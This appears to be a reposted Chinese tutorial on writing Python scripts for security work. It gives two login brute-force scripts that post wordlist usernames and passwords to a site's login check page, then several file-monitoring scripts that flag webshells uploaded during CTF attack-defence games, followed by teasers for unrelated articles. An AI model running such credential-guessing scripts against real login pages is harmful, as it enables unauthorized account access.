Python从0到POC编写--实用小脚本02

爆破脚本:

爆破脚本也是我们经常使用的东西

这里就简单讲讲后台爆破脚本的编写吧

在编写之前,我们先通过访问网站去看看情况

首先我们可以先登录看看

输入账号 admin ,密码 12345 后

登录失败,提示 用户名或密码错误

images


在输入正确的密码 123456 后,则会跳到用户界面

然后我们可以通过这个信息去判断是否登录成功

images


现在我们有了登录密码,有了判断是否登录成功的信息

还有就是如何构造 post 包

我们可以先用 burp 抓一下看看

现在我们可以看到,这些数据发送到了 /user/logCheck.php 的页面,

很明显这是判断用户名和密码的,

POST 数据为 user=admin&pass=123456&submit=login

images


有了这些信息,就可以写脚本了,

脚本其实跟前面的一些类似,无非就是判断不同

直接来看代码

假设我们知道用户名为 admin ,

那么我们可以直接爆破密码,

使用 format() 函数把密码传进去


# -*- coding: utf-8 -*-

import requests
import time
import re

def login(pwd):

	try:
		headers = {

			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
			"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"

		}

		url = "http://www.vd.com/user/logCheck.php"

		login = {"user":"admin","pass":"{}".format(pwd),"submit":"login"}

		r = requests.post(url,headers=headers,data=login)

		r.encoding = 'utf-8'

		if '用户名或密码错误' in r.text:

			print("用户名: " +user+ " 密码: " + pwd +" -----> 登录失败")

		else:

			print("用户名: " +user+ " 密码: " + pwd + " -----> 登录成功")

	except:
		print("用户名: " +user+ " 密码: " + pwd + " -----> 无法访问")

password = open('D:/top100.txt','r')

for pwd in password.readlines():

	pwd = pwd.strip('\n')
	login(pwd)


username.close()

下面是运行结果

images


假设用户名也不知道,那么我们也可以连用户名也一起爆破,

给用户名也加一个 format() 就行了

下面是代码

使用 for 循环来传入用户名和密码进行爆破


import requests
import time
import re

def login(user,pwd):

	try:
		headers = {

			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
			"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"

		}

		url = "http://www.vd.com/user/logCheck.php"

		login = {"user":"{}".format(user),"pass":"{}".format(pwd),"submit":"login"}

		r = requests.post(url,headers=headers,data=login)

		r.encoding = 'utf-8'

		if '用户名或密码错误' in r.text:

			print("用户名: " +user+ " 密码: " + pwd +" -----> 登录失败")

		else:

			print("用户名: " +user+ " 密码: " + pwd + " -----> 登录成功")

	except:
		print("用户名: " +user+ " 密码: " + pwd + " -----> 无法访问")

username = open('D:/user.txt','r')

for user in username.readlines():
	user = user.strip('\n')
	password = open('D:/top100.txt','r')
	
	for pwd in password.readlines():

		pwd = pwd.strip('\n')
		login(user,pwd)


username.close()
password.close()

运行结果

验证完 admin 就验证 root

images


文件监控:

在ctf线下赛中,经常会遇到文件上传漏洞,

那么在我们不会修复漏洞的情况下,就会被挂马 getshell了,

然而我们即使知道上传的文件在哪里,

那么也不可能一直守着那个文件夹删除文件,

你删除也没有别人的脚本操作快,你删除时别人已经 getflag 了,

在这种情况下,我们就需要一个文件监控脚本来帮助我们去完成这个操作。


编写思路:

先获取原文件夹里的文件,做一个白名单,

然后监控是否有新增文件


方法一:

先来看看代码,编写思路是这样子的,

将要监控的文件夹复制到其他地方,当作一个白名单,

然后重复比对这两个文件夹里面的内容,

如果在白名单上没有的,那么就是新增的文件,

下面是一个纯监控脚本,如需要后续操作,比如删除,可自行添加


import os
import shutil
import time

def backup(path1,path2):

	global file_list

	if os.path.isdir(path2):  # 判断白名单文件夹是否存在

		file_list = os.listdir(path2)   # 白名单文件

	else:

		shutil.copytree(path1,path2)   # 将 path1 文件复制到 path2 作为白名单
		file_list = os.listdir(path2)  # 白名单文件

def checkfile(file_list):

	while 1:

		check_file = os.listdir(path1)  # 要监控的文件夹
			
		tmp = [file for file in check_file if not file in file_list] # 列表推导式,获取差集

		if tmp: # 判断是否有新增文件
			for file in tmp:
				print('发现新文件 -----> ' + file)
				file_list.append(str(file))       # 避免重复输出
		else:
			pass

	# print(tmp)

	time.sleep(3)  # 每3秒循环一次

if __name__ == '__main__':

	path1 = 'D:/123'  # 要监控的文件夹,123为文件夹名字
	path2 = 'E:/123'  # 白名单路径,123为文件夹名字
	backup(path1,path2)
	checkfile(file_list)

最后效果就是这样子的

images


除了列表推导式,我们还可以用其他方法获取差集,

那就是使用 difference() 函数,

这种方式比列表推导式更高效

代码其实都差不多,这里就不做更多的介绍了


import os
import shutil
import time

def backup(path1,path2):

	global file_list

	if os.path.isdir(path2):  # 判断白名单文件夹是否存在

		file_list = os.listdir(path2)   # 白名单文件

	else:

		shutil.copytree(path1,path2)   # 将 path1 文件复制到 path2 作为白名单
		file_list = os.listdir(path2)  # 白名单文件

def checkfile(file_list):

	while 1:

		check_file = os.listdir(path1)  # 要监控的文件夹
			
		tmp = list(set(check_file).difference(set(file_list))) # 获取差集,check_file 中有,而 file_list 中没有

		if tmp: # 判断是否有新增文件
			for file in tmp:
				print('发现新文件 -----> ' + file)
				file_list.append(str(file))       # 避免重复输出
		else:
			pass

	# print(tmp)

	time.sleep(3)  # 每3秒循环一次

if __name__ == '__main__':

	path1 = 'D:/123'  # 要监控的文件夹,123为文件夹名字
	path2 = 'E:/123'  # 白名单路径,123为文件夹名字
	backup(path1,path2)
	checkfile(file_list)

方法二:

方法一中复制文件夹到其他地方的方式颇为笨重 ,

如果要监控的目录文件非常多,那么就会非常不方便

下面这个方法,不需要复制文件夹也能实现监控效果,

在脚本第一次运行的时候获取一个初始文件列表 file_list

然后在第二次以及后面的运行中获取的文件作为 check_dir

然后再判断两个列表中是否有不相同的文件存在

脚本运行后,你往文件夹丢文件就能看到效果了,脚本默认是 3 秒检测一次。


import os
import time
	
def list_dir(filepath):
	
	global file_list	
	file_list = os.listdir(filepath)  # 获取初始文件列表,作为白名单

def checkfile(filepath):

	while 1:

	 	check_dir = os.listdir(filepath)  # 获取路径下的文件

	 	for file in check_dir:

	 		if str(file) not in str(file_list):
	 			print('发现新文件 -----> ' + file)
	 			file_list.append(str(file))
	 		else:
	 			pass

	 	time.sleep(3)  # 3秒循环一次


if __name__ == '__main__':

	filepath = 'D:/123'    # 要监控的目录路径,D盘下的123文件夹
	list_dir(filepath)
	checkfile(filepath)

效果呢,也是一样的

images


总结:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/607897.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MultiBooth:文本驱动的多概念图像生成技术

在人工智能的领域,将文本描述转换为图像的技术正变得越来越先进。最近,一个由清华大学和Meta Reality Labs的研究人员组成的团队,提出了一种名为MultiBooth的新方法,它能够根据用户的文本提示,生成包含多个定制概念的图…

去除视频背景音乐或人物声音的4种方法,建议收藏

你是否曾想移除视频中令人分心的声音呢?对于需要裁剪声音或去除背景噪音的视频来说,消音是一种非常有用的技能。那么,视频怎么消除声音?看看下文就知道了。 方法一:使用 智优影 去除视频中的音频 在线转换工具不仅支持…

怎样选择IT外包公司?需要注意什么?

随着网络化、数字化、智能化快速发展,一部分企业成立自己的IT部门,负责各个科室的网络安全,大部分企业把网络安全、数据安全,外包给专业的IT外包公司,既提升了办公效率,企业又能把主要精力放在发展核心业务…

【C】语⾔内存函数--超详解

1. memcpy 使⽤和模拟实现 void * memcpy ( void * destination, const void * source, size_t num ); 函数memcpy从source的位置开始向后复制num个字节的数据到destination指向的内存位置。 这个函数在遇到 \0 的时候并不会停下来。 如果source和destination有任何的重叠&am…

Chrono下载管理器:提升下载体验,有效管理文件

名人说:莫愁千里路,自有到来风。 ——钱珝 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 目录 一、介绍二、下载安装1、Chrome应用商店(需科学)2、第三方直链下载 三、使…

nacos下载安装和nacos启动报错

nacos简介: Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您…

Spring底层入门(九)

boot的执行流程分为构造SpringApplication对象、调用run方法两部分 1、Spring Boot 执行流程-构造 通常我们会在SpringBoot的主启动类中写以下的代码: 参数一是当前类的字节码,参数二是main的args参数。 public class StartApplication {public static…

(一)Linux的vim编辑器的使用

一.vim编辑器 Vim 是从 vi 发展出来的一个文本编辑器。代码补全、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。简单的来说, vi 是老式的字处理器,不过功能已经很齐全了,但是还是有可以进步的地方。 vim 则可以说是程序开发者的一项很好用的工具。 二…

关于勒索攻击,绝大多数企业存在的三个认知误区

网络空间,有一个挥之不去的“幽灵”,它的名字就叫勒索攻击。 近年来,企业遭受勒索攻击的事件被频频曝光。就在不久前,国家安全部曝光了一起境外黑客组织对我国某高新科技企业实施勒索攻击的案例,该企业的相关信息化系统…

Window7镜像注入USB驱动,解决系统安装后无法识别USB

Window7镜像注入usb驱动 Window7镜像注入usb驱动方法一方法二 Window7镜像注入usb驱动 一般4代酷睿之后的主机需要安装usb驱动才能驱动usb,导致很多Windows原版镜像安装后无法识别usb键盘 方法一 1.直接采购PS2 接口键盘、PS2 接口鼠标 方法二 使用联想镜像注入…

光峰科技2023年营收、净利润均双位数下滑,新一年延续?

近日,深圳光峰科技股份有限公司(688007.SH,下称“光峰科技”)对外公布了2023年和2024年一季度的经营“成绩单”。 透视财报不难看出,虽然光峰科技在降低成本、提振销售等层面下足了功夫,但受制于市场需求式…

测试项目实战——安享理财1(测试用例)

说明: 1.访问地址: 本项目实战使用的是传智播客的安享理财项目(找了半天这个项目能免费用且能够满足测试实战需求) 前台:http://121.43.169.97:8081/ 后台:http://121.43.169.97:8082/ (点赞收藏…

Git泄露(CTFHUB的git泄露)

log 当dirsearch 扫描一下,命令: python dirsearch.py -u url/.git 发现存在了git泄露 借助kali里面,打开GitHack所在的目录,然后 输入: python2 GitHack.py -u url/.git/ 必须要用Python2 tree 命令 可以看到…

Paddle 基于ANN(全连接神经网络)的GAN(生成对抗网络)实现

什么是GAN GAN是生成对抗网络,将会根据一个随机向量,实现数据的生成(如生成手写数字、生成文本等)。 GAN的训练过程中,需要有一个生成器G和一个鉴别器D. 生成器用于生成数据,鉴定器用于鉴定数据的准确性&…

车载测试___面试题和答案归纳

车载面试题 一、实车还在设计开发阶段,大部分测试通过什么测试? 答案:通过台架和仿真来完成的 二、测试部分划分? 测试部门是分为自研,系统,验收,自研部门是开发阶段测试,系统部门…

95、动态规划-编辑距离

递归暴力解法 递归方法的基本思想是考虑最后一个字符的操作,然后根据这些操作递归处理子问题。 递归函数定义:定义一个递归函数 minDistance(i, j),表示将 word1 的前 i 个字符转换成 word2 的前 j 个字符所需的最小操作数。 递归终止条件…

llama.cpp制作GGUF文件及使用

llama.cpp的介绍 llama.cpp是一个开源项目,由Georgi Gerganov开发,旨在提供一个高性能的推理工具,专为在各种硬件平台上运行大型语言模型(LLMs)而设计。这个项目的重点在于优化推理过程中的性能问题,特别是…

(七)JSP教程——session对象

浏览器和Web服务器之间的交互通过HTTP协议来完成,HTTP协议是一种无状态的协议,服务器端无法保留浏览器每次与服务器的连接信息,无法判断每次连接的是否为同一客户端。为了让服务器端记住客户端的连接信息,可以使用session对象来记…

Java毕设之基于springboot的医护人员排班系统

运行环境 开发语言:java 框架:springboot,vue JDK版本:JDK1.8 数据库:mysql5.7(推荐5.7,8.0也可以) 数据库工具:Navicat11 开发软件:idea/eclipse(推荐idea) 系统详细实现 医护类型管理 医护人员排班系统的系统管理员可以对医护类型添加修改删除以及…

Error: error:0308010C:digital envelope routines::unsupported 问题如何解决

Error: error:0308010C:digital envelope routines::unsupported 通常与 Node.js 的加密库中对某些加密算法的支持有关。这个错误可能是因为 Node.js 的版本与某些依赖库不兼容导致的。特别是在 Node.js 17 版本中,默认使用 OpenSSL 3,而一些旧的加密方式…